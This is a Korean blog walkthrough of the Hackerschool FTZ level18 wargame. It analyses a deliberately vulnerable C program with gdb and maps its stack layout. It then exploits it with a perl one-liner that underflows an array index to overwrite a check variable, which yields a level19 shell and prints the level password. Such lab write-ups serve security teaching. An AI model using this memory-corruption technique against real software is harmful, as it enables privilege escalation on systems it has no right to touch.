본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level18 -> level19 ) by ORANG

FTZ_level18

 

 [level18@ftz level18]$ bash2

[level18@ftz level18]$ cat hint

 

#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);

 

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}

 

void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}

 

bash2를 띄우고, 힌트를 보니… ㅎㅎ… 힌트가 참 길군요..

 

복잡하네요.. 파일 디스크립터 관련 fd_set 등 함수들은 처음이라 당황스럽네요

중요한 부분만 보면 check를 0xdeadbeef로 덮어쓰면 셸이 실행되네요

read(fileno(stdin),&x,1) 으로부터 x를 입력받아 switch구문으로 이어지네요

프로그램 진행 흐름상 이 부분은 입력이 있으면 실행되는 부분같으니 파일 디스크립터 관련 함수들은 훼이크 같습니다

 

스위치 부분이 중요하겟네요 \r, \n은 딱히 의미가 없는것 같구요

0x08을 입력받으면 count를 — 해주네요

그 외의 값들은 string[count]에 넣어주고, count를 ++ 해줍니다.

이 부분이 의심스럽다는 삘을 주네요

string의 시작주소를 기준으로 count 값을 변경해주면, 원하는 곳을 원하는 값으로 덮어줄 수 있겠네요

( if(count >=100) 조건문이 있으므로 SFP나 RET를 덮어쓸 순 없을 것 같습니다. )

일단 메모리 구조를 순서대로 대충 그려보겠습니다.

 

(높은메모리방향) string -> check -> x -> count (낮은 메모리 방향)

string의 시작주소를 기준으로 check가 바로 밑에 있네요 이부분을 0xdeadbeef로 덮어 써주겠습니다.

count 값을 통해 덮어써야할 메모리로 이동하려면, string과 check 시작주소 사이의 거리를 재야겠네요

 

gdb를 통해 메모리들의 주소를 찾아보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048550 <main+0>: push   %ebp

0x08048551 <main+1>: mov    %esp,%ebp

0x08048553 <main+3>: sub    $0x100,%esp

…생략…

0x080485ab <main+91>: cmpl   $0xdeadbeef,0xffffff98(%ebp)

…생략…

0x080486dc <main+396>: mov    %eax,0xffffff04(%ebp)

0x080486e2 <main+402>: mov    0xffffff04(%ebp),%ecx

0x080486e8 <main+408>: push   %ecx

0x080486e9 <main+409>: call   0x8048490 <read>

0x080486ee <main+414>: add    $0xc,%esp

…생략…

0x08048731 <main+481>: decl   0xffffff90(%ebp)

…생략…

0x08048743 <main+499>: lea    0xffffff9c(%ebp),%eax

0x08048746 <main+502>: mov    %eax,0xffffff04(%ebp)

0x0804874c <main+508>: mov    0xffffff90(%ebp),%edx

0x0804874f <main+511>: mov    0xffffff94(%ebp),%cl

0x08048752 <main+514>: mov    %cl,0xffffff03(%ebp)

0x08048758 <main+520>: mov    0xffffff03(%ebp),%al

0x0804875e <main+526>: mov    0xffffff04(%ebp),%ecx

0x08048764 <main+532>: mov    %al,(%edx,%ecx,1)

 

main+3을 보면 0x100( 10진수로 256바이트 ) 의 메모리를 확보하는게 보이네요

main+91부분, check와 0xdeadbeef를 비교하는 부분이죠, ebp로부터 104바이트 떨어진 곳에 check가 있습니다.

x를 read함수로 입력받는 main+396 ~ main+414부분을 보겠습니다.

특히 main+402 부분을 보면 x의 위치는 ebp 로부터 252바이트만큼 떨어진 곳에 있네요

main+481 이나 main+535 같은 count 값이 변하는 곳을 보면, ebp로부터 112바이트만큼 떨어진곳에 count가 존재합니다.

main+499 ~ main+532 부분이 string[count]=x 부분이겠군요  main+499 를 보면 ebp로부터 100바이트 떨어진 곳에 string이 존재합니다.

 

메모리 구조를 그려보겠습니다.

 

 

RET

SFP

string [100]

check [4]

dummy [4]

count [4]

dummy [136]

x [4]

fds [4]

 

string[count]=x 를 이용할떄, check를 덮어씌워주려면 string으로부터 -4인 위치를 덮어줘야겟군요

0x08을 4번입력해서 count를 -4로 만들어준 후에 덮어씌워주면 되겠네요

공격해보겠습니다..!!

 

 [level18@ftz level18]$ (perl -e 'print "\x08"x4,"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command:

 

 

 

id

uid=3099(level19) gid=3098(level18) groups=3098(level18)

my-pass

 

Level19 Password is "swimming in pink".